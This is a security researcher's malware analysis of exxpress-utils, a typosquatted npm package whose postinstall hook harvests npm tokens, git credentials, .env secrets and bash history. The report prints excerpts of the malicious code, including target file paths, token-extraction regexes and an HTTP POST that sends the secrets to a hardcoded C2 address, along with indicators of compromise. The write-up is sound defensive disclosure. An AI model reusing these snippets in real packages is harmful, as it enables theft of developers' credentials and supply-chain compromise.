Disclaimer: All research and opinions expressed here are my own and are independent of any employer or organisation.

exxpress-utils critical by Paul Newton

exxpress-utils - Postinstall npm Token and Credential Stealer

One of nine packages in the kwakom cluster — a coordinated campaign of malicious npm packages typosquatting popular utility names. exxpress-utils carries an identical postinstall credential harvester across all four published versions (1.0.0, 1.0.2, 1.0.3, 2.0.0). On install, a postinstall hook exfiltrates npm tokens, git credentials, environment variables, and bash history. Secrets are collected from ~/.npmrc, ~/.git-credentials, ~/.env, ./.env, and ~/.bash_history, then POSTed to a hardcoded C2 endpoint (149.28.127.35:8888). A local dump is also written to /tmp/.npm-harvest-test.json. The payload is entirely unobfuscated, suggesting a development or test build deployed to production.

Package

Name

exxpress-utils

Version

1.0.0, 1.0.2, 1.0.3, 2.0.0

Published by

kwakom

View on NPM

Threat Actor

kwakom

Tags

#npm #postinstall #token-stealer #npmrc-harvester #c2-exfil #aws #git-credentials #no-obfuscation #kwakom-cluster #typosquatting

No Obfuscation — Development Artefact

Unlike most production npm malware, this payload makes no attempt to obfuscate its intent. Function names (harvest, parseNpmrc, parseEnv), variable names (targets, secrets, findings), and inline comments ("npm tokens", "git credentials", "bash history (npm commands reveal tokens)") are fully descriptive. The output path /tmp/.npm-harvest-test.json and the comment block at the top explicitly labelling local test mode vs production mode strongly suggest this is either a development build or a sample left in a testing state before deployment. The C2 URL is also overridable via environment variable (C2_URL), which is a development convenience not present in production-hardened malware. This cuts both ways: trivial to analyse, but equally trivial to redeploy with a new C2 and a minifier pass.

Targeted Credential Collection

The harvester reads five fixed file paths and applies type-specific parsers to each. ~/.npmrc is parsed for auth tokens in three formats: the standard _authToken= registry line, bare npm_* token strings (the modern npm token format), and legacy _password= and _auth= fields. ~/.env and ./.env are scanned for NPM_TOKEN, NPM_AUTH_TOKEN, and AWS credentials. ~/.git-credentials yields raw credential lines. ~/.bash_history is filtered for npm commands containing the words token, publish, adduser, or login — targeting commands where a token may have been passed as a CLI argument.

postinstall.js — target file list

const targets = [
  { path: path.join(os.homedir(), '.npmrc'),           type: 'npmrc'        },
  { path: path.join(os.homedir(), '.git-credentials'), type: 'git-creds'   },
  { path: path.join(os.homedir(), '.env'),             type: 'env'         },
  { path: path.join(process.cwd(), '.env'),            type: 'env-local'   },
  { path: path.join(os.homedir(), '.bash_history'),    type: 'bash-history'},
];

postinstall.js — npmrc token extraction

const authTokenMatch  = content.match(/\/\/registry\.npmjs\.org\/:_authToken=([^\s]+)/);
const npmTokenMatches = content.matchAll(/npm_[a-zA-Z0-9]{36}/g);
const legacyAuth      = content.match(/:_password=([^\s]+)/);

C2 Exfiltration

Collected secrets are serialised as JSON and POSTed to the C2 endpoint only if at least one secret was found (results.secrets.length > 0), reducing noise on clean machines. A local copy is always written to /tmp/.npm-harvest-test.json regardless. The C2 URL defaults to http://149.28.127.35:8888 but can be overridden by setting the C2_URL environment variable at install time — a pattern consistent with a configurable attack framework or a red-team tool repurposed as malware. No HTTPS; credentials transit in plaintext, suggesting the operator controls the network path or does not consider interception a meaningful risk.

postinstall.js — conditional exfiltration

const C2_URL = process.env.C2_URL || 'http://149.28.127.35:8888';

if (C2_URL && results.secrets.length > 0) {
  const req = http.request(C2_URL, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' }
  });
  req.write(JSON.stringify(results));
  req.end();
}

Indicators of Compromise

Malicious Packages

Package Version Author Notes
exxpress-utils 1.0.0 kwakom Initial release; identical payload to all subsequent versions
exxpress-utils 1.0.2 kwakom Same postinstall credential harvester
exxpress-utils 1.0.3 kwakom Same postinstall credential harvester
exxpress-utils 2.0.0 kwakom Major version bump; payload unchanged

URLs

URL Context
hxxp://149.28.127.35:8888 C2 exfiltration endpoint; HTTP POST; plain JSON; no auth; Vultr/Choopa ASN — shared across all kwakom-cluster packages

Targeted File Paths

Path Context
/tmp/.npm-harvest-test.json Local credential dump written on every run; confirms test/dev build
~/.npmrc Primary target; parsed for npm auth tokens in three formats
~/.git-credentials Git credential store; raw lines exfiltrated
~/.env / ./.env Environment files; parsed for NPM_TOKEN, NPM_AUTH_TOKEN, AWS keys
~/.bash_history Shell history filtered for npm token/publish/login commands

Environment Variables / Config Paths

Artefact Context
NPM_TOKEN / NPM_AUTH_TOKEN npm publish/registry tokens — primary objective
AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY AWS credentials harvested as secondary target
C2_URL Operator-configurable C2 override; confirms framework or tooling origin